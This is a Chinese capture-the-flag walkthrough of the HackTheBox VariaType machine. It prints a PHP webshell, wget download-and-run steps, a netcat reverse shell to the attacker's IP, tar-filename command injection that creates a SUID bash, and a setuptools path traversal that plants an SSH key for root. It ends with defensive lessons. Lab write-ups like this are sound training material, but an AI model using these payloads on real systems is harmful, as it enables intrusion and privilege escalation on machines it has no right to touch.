1. HTB VariaType靶机渗透实战记录
最近在练习HTB靶场中的VariaType靶机,这是一台中等难度的Linux靶机,涉及多个有趣的漏洞利用点。整个过程包含了信息收集、Web应用漏洞利用、Git信息泄露、文件上传漏洞、权限提升等多个环节,下面我将详细记录整个渗透过程。
2. 初始信息收集
2.1 网络扫描与端口探测
首先使用nmap对目标IP(10.129.8.159)进行全面的端口扫描:
bash复制sudo nmap --top-ports 10000 10.129.8.159 --min-rate=1000 -oA ips_quick_TCP_nmapscan && \
sudo nmap --top-ports 10000 10.129.8.159 --min-rate=1000 -sU -oA ips_quick_UDP_nmapscan && \
nmap -p- 10.129.8.159 -oA ips_full_TCP_nmapscan --min-rate=1000 && \
sudo nmap -p- 10.129.8.159 -sU -oA ips_full_UDP_nmapscan --min-rate=1000
提示:这里使用了多种扫描方式组合,包括快速TCP扫描、UDP扫描以及全端口扫描,-oA参数将结果输出为所有格式便于后续分析。
扫描结果显示目标开放了80端口(HTTP服务)和22端口(SSH服务)。UDP扫描未发现明显可利用的服务。
2.2 Web应用初步探测
访问http://10.129.8.159发现一个名为VariaType的网站,看起来是一个字体相关服务。在页面源代码中发现了一个有趣的提示:
code复制fonttool,2025年爆出其存在任意文件写入漏洞
https://github.com/advisories/GHSA-768j-98cg-p3fv
这提示我们后续可能需要关注fonttool相关的漏洞。
3. 子域名枚举与虚拟主机发现
3.1 使用ffuf进行子域名爆破
使用ffuf工具对variatype.htb进行子域名枚举:
bash复制ffuf -w /home/kali/Desktop/Info/SecLists-master/SecLists-master/Discovery/DNS/subdomains-top1million-20000.txt:FUZZ \
-u http://variatype.htb/ -H 'Host: FUZZ.variatype.htb' -mc all -fw 18
发现了一个子域名portal.variatype.htb,将其添加到hosts文件:
bash复制echo '10.129.8.159 portal.variatype.htb' | sudo tee -a /etc/hosts
3.2 目录扫描与Git信息泄露
使用dirsearch对portal子域名进行目录扫描:
bash复制dirsearch -u http://portal.variatype.htb/
扫描结果中发现了/.git目录,这通常意味着存在Git仓库信息泄露漏洞。使用git-dumper工具下载整个.git目录:
bash复制git-dumper http://portal.variatype.htb/.git ./
通过分析Git历史记录,发现了敏感信息:
bash复制git log -p
在历史提交中找到了一个账号密码:
code复制gitbot:G1tB0t_Acc3ss_2025!
4. Web应用漏洞利用
4.1 文件上传漏洞发现
使用获取的凭证登录后,发现了一个文件上传功能。经过测试,发现存在路径遍历漏洞,可以将文件上传到任意位置:
code复制../../../../../../var/www/portal.variatype.htb/public/files/test
4.2 WebShell获取
上传一个简单的PHP webshell:
php复制<?php system($_GET["cmd"]);?>
访问webshell验证命令执行:
code复制http://portal.variatype.htb/files/shell.php?cmd=id
4.3 反向Shell建立
通过webshell下载并执行反向shell脚本:
bash复制wget 10.10.15.116/pwn.sh
chmod 755 pwn.sh
./pwn.sh
其中pwn.sh内容为:
bash复制rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|bash -i 2>&1|nc 10.10.15.116 80 >/tmp/f
成功获取了一个低权限的shell。
5. 权限提升
5.1 系统信息收集
上传并运行linpeas.sh进行本地提权检查:
bash复制wget http://10.10.15.116/linpeas.sh && chmod 755 linpeas.sh && ./linpeas.sh
同时运行pspy64监控进程:
bash复制wget http://10.10.15.116/pspy64 && chmod 755 pspy64 && ./pspy64
在/opt目录下发现了font-tools相关文件,结合之前看到的fonttool漏洞提示,这可能是提权的关键。
5.2 FontForge库命令执行漏洞利用
发现系统使用了存在漏洞的fontforge python库。构造恶意tar文件实现命令执行:
python复制#!/usr/bin/env python3
import tarfile
import os
exec_command = f"$(touch /tmp/poc)"
with tarfile.open("poc.tar", "w", format=tarfile.USTAR_FORMAT) as t:
t.addfile(tarfile.TarInfo(exec_command))
将生成的poc.tar文件放到~/portal.variatype.htb/public/files目录,等待自动处理。
成功执行命令后,创建了一个SUID的bash副本:
python复制#!/usr/bin/env python3
import tarfile
import os
exec_command = f"$(cp /bin/bash /tmp/bash && chmod +s /tmp/bash)"
with tarfile.open("poc.tar", "w", format=tarfile.USTAR_FORMAT) as t:
t.addfile(tarfile.TarInfo(exec_command))
使用SUID bash获取steve用户权限:
bash复制/tmp/bash -p
5.3 最终root权限获取
检查sudo权限:
bash复制sudo -l
发现可以以root身份运行/opt/font-tools/install_validator.py脚本。分析脚本发现其使用了存在漏洞的setuptools。
利用setuptools的路径遍历漏洞,将自己的SSH公钥写入root的authorized_keys文件:
bash复制sudo /usr/bin/python3 /opt/font-tools/install_validator.py 'http://10.10.15.116/%2froot%2f.ssh%2fauthorized_keys'
成功获取root权限后,即可通过SSH直接登录root账户完成整个渗透过程。
6. 经验总结与注意事项
-
信息收集要全面:初始的nmap扫描和子域名枚举为后续渗透打下了基础,不要忽视任何看似不重要的信息。
-
Git信息泄露是常见漏洞:开发环境中的.git目录泄露可能导致严重的安全问题,生产环境一定要确保清除或限制访问。
-
文件上传功能要严格限制:除了检查文件类型,还要防止路径遍历攻击,最好使用随机文件名并存储在非web可访问目录。
-
定期更新依赖库:本例中利用的fontforge和setuptools漏洞都是已知漏洞,及时更新可以避免被利用。
-
最小权限原则:Web应用运行账户和sudo权限都应遵循最小权限原则,避免一个漏洞导致全线崩溃。
在实际渗透测试中,每个步骤都可能遇到各种意外情况,需要灵活调整策略。这个靶机涉及的技术点非常全面,对提升渗透测试能力很有帮助。